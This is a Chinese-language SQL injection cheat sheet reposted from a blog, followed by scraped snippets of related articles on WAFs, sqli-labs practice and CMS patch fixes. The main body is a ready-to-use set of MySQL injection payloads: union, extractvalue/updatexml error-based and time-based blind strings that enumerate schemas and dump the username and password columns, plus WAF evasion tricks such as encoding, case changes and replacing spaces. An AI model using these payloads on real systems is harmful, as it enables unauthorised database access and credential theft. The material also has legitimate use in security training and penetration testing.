SQL注入备忘录

常见注入类型

联合注入

布尔注入

报错注入

盲注(时间、布尔)

堆叠注入

三个重要表

information_schema.schemata存放库名的表
information_schema.tables存放表名的表
information_schema.columns存放字段名的表

其他信息

version() 查看数据库版本

user()查看当前用户

@@version_compile_os 操作系统

@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

先确实构造的SQL语句,常见的类型 数字型、数字括号、单引号、单引号括号、双引号、双引号括号

联合注入

有显示位置的时候可以使用

确定列的数量,常用order by,group by 后面带数字,当数字大于列名就会报错

确定显示位置,让前面sql查找为空,union select 1,2,3 ... 找到显示位置

union select group_concat(table_name) from information_schema.tables where table_schema=database() --+ 暴露表名

union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘ --+  暴露列名

union select 1,2,group_concat(username,password) from users--+ 暴露数据

报错注入

基于extractvalue函数

and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))) --+ 暴露数据库名

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 暴露表名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users‘))) --+ 暴露列名

and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users))) --+  暴露数据

基于updatexml函数

and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) --+ 暴露表名

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())),0) --+ 暴露列名

and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),0) --+ 暴露数据

延时盲注

 or if(length(database())=8,sleep(3),1) --+  数据库长度

or if(ord(mid(database(),1,1))=115,sleep(4),1) --+  数据库名

or if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1) --+ 表的数量

or if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,sleep(3),1) --+ 表的长度

or if(ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<150,sleep(5),1) --+ 第一个表名

or if((select count(column_name) from information_schema.columns where table_name=‘users‘)<10,sleep(5),1) --+ users表中列的数量

or if((select length(column_name) from information_schema.columns where table_name=‘users‘ limit 0,1)<5,sleep(3),1) --+  列的长度

or if(ord(mid((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),1,1))<150,sleep(2),1) --+ 列名

or if(ord(mid((select username from users limit 0,1),1,1))=68,sleep(3),1) --+  users表username列名中数据的内容

绕过WAF

可以尝试大小写绕过 、双写绕过,或者十六进制编码、URL编码绕过

过滤and  可以用&&

过滤or     可以用 ||

过滤空格  可以用 %20 %09 %0a %0b %0c %0d   /**/  /*!*/

功能相同函数

hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()

原文地址:https://www.cnblogs.com/gaonuoqi/p/11982815.html

时间: 2024-10-25 09:00:00

SQL注入备忘录的相关文章

WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等

核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Webshell上传.命令注入.非法HTTP协议请求.非授权文件访问等.

sql注入初中高学习

以下三篇文件关于SQL注入写的很通俗易懂,整理收藏下 渗透攻防Web篇-SQL注入攻击初级: http://bbs.ichunqiu.com/thread-9518-1-1.html 渗透攻防Web篇-SQL注入攻击中级: http://bbs.ichunqiu.com/thread-9668-1-1.html 渗透攻防Web篇-SQL注入攻击高级: http://bbs.ichunqiu.com/thread-10093-1-1.html

php中防止SQL注入的方法

[一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最主要就是要配置php.ini中的内容,让我们执行 php能够更安全.整个PHP中的安全设置主要是为了防止phpshell和SQL Injection的攻击,一下我们慢慢探讨.我们先使用任何编辑工具打开 /etc/local/apache2/conf/php.ini,如果你是采用其他方式安装,配置文件

sql注入总结

本实验测试是基于sqli-labs的实验环境 环境配置:php+mysql 环境搭建请参考 http://www.freebuf.com/articles/web/34619.html Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的 sql注入分类: 基于联合查询 基于错误回显 基于盲注,分时间盲注和布尔型的盲注 基于user-agent 基于feferer 基于cookie 二次注入 宽字节注入 注入一个网站

SQL注入解决思路(C#示例)

最近在编程中遇到一个SQL注入防护的问题.在这里顺便把SQL注入小结一下.以MYSQL(5.1)为例. 一.常规的SQL语句 观察SQL语句 SELECT * FROM [tableName] WHERE col1='value1' 这个语句由3个部分组成,SELECT子句筛选得到结果,FROM子句指定了筛选的范围,WHERE子句指定了条件.当在其中进行如下置换: SELECT * FROM [tableName] WHERE 1 之后,选出了[tableName]表中的全部内容.分析其语法不难

微擎SQL注入漏洞

漏洞名称:微擎SQL注入漏洞 补丁文件:/web/source/mc/card.ctrl.php 补丁来源:阿里云云盾自研 漏洞描述:微擎CMS的/web/source/mc/card.ctrl.php中,对cardid输入参数未进行严格类型转义,导致SQL注入的发生 解决方法 搜索代码 if ($do == 'manage') 如下图: 在 201 行 前添加代码 $_GPC['cardid'] = intval($_GPC['cardid']); 修改后如图: 补丁文件:/web/sourc

SQL注入之SQLmap入门

什么是SQLmap? SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹.访问底层文件系统.执行命令). 读者可以通过位于SourceForge的官方网站下载SQLmap源码:http://sourceforge.net/projects/sqlmap/ SQLmap的作者是谁? Bernardo DameleAssumpcao Guimaraes (@inquisb),读者可以通过[email protected]与他取得联

PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/phpcms_v9/index.php?m=member&c=index&a=login dosubmit=1&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2

关于ECSHOP中sql注入漏洞修复

公司部署了一个ecshop网站用于做网上商城使用,部署在阿里云服务器上,第二天收到阿里云控制台发来的告警信息,发现ecshop网站目录下文件sql注入漏洞以及程序漏洞 如下图: 与技术沟通未果的情况下,网上查了点资料,对其文件进行修复,如下修改: 1,/admin/shopinfo.php修复方法 (大概在第53.71.105.123行,4个地方修复方式都一样)     admin_priv('shopinfo_manage');      修改为     admin_priv('shopinf